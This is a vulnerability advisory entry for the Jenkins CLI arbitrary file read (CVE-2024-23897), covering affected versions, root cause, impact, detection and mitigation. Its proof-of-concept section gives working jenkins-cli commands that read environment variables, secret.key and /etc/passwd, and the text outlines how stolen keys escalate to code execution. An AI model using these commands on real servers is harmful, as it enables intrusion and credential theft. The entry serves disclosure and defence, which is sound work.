Jenkins CLI @file Arbitrary File Read

aka SECURITY-3314

Product: Jenkins Jenkins core
CVE: CVE-2024-23897
Disclosed: 2024-01-24
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: <= 2.441, LTS <= 2.426.2
Fixed: 2.442, LTS 2.426.3

Summary

Jenkins' built-in CLI used the args4j library, which expands any argument starting with '@' into the contents of that file on the controller. Unauthenticated users can read the first lines of arbitrary files, and with Overall/Read or by stealing keys (secrets/master.key, etc.) escalate to code execution.

Root cause

args4j's expandAtFiles feature was left enabled in the CLI command parser, so '@/path' arguments are replaced by file contents and echoed back in error messages. Reading secret keys allows forging 'remember me' cookies, decrypting credentials, or abusing resource-root URLs, leading to RCE via the script console.

Impact

Pre-auth arbitrary file read with multiple paths to RCE; exploited by ransomware groups (e.g. against Indian bank systems).

Public PoC

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

Source: vulhub / jenkins/CVE-2024-23897

Detection

Monitor POSTs to /cli?remoting=false and CLI arguments starting with '@'. nuclei template CVE-2024-23897. Check Jenkins version header X-Jenkins.

Mitigation

Upgrade to 2.442 / LTS 2.426.3+, or disable the CLI endpoint.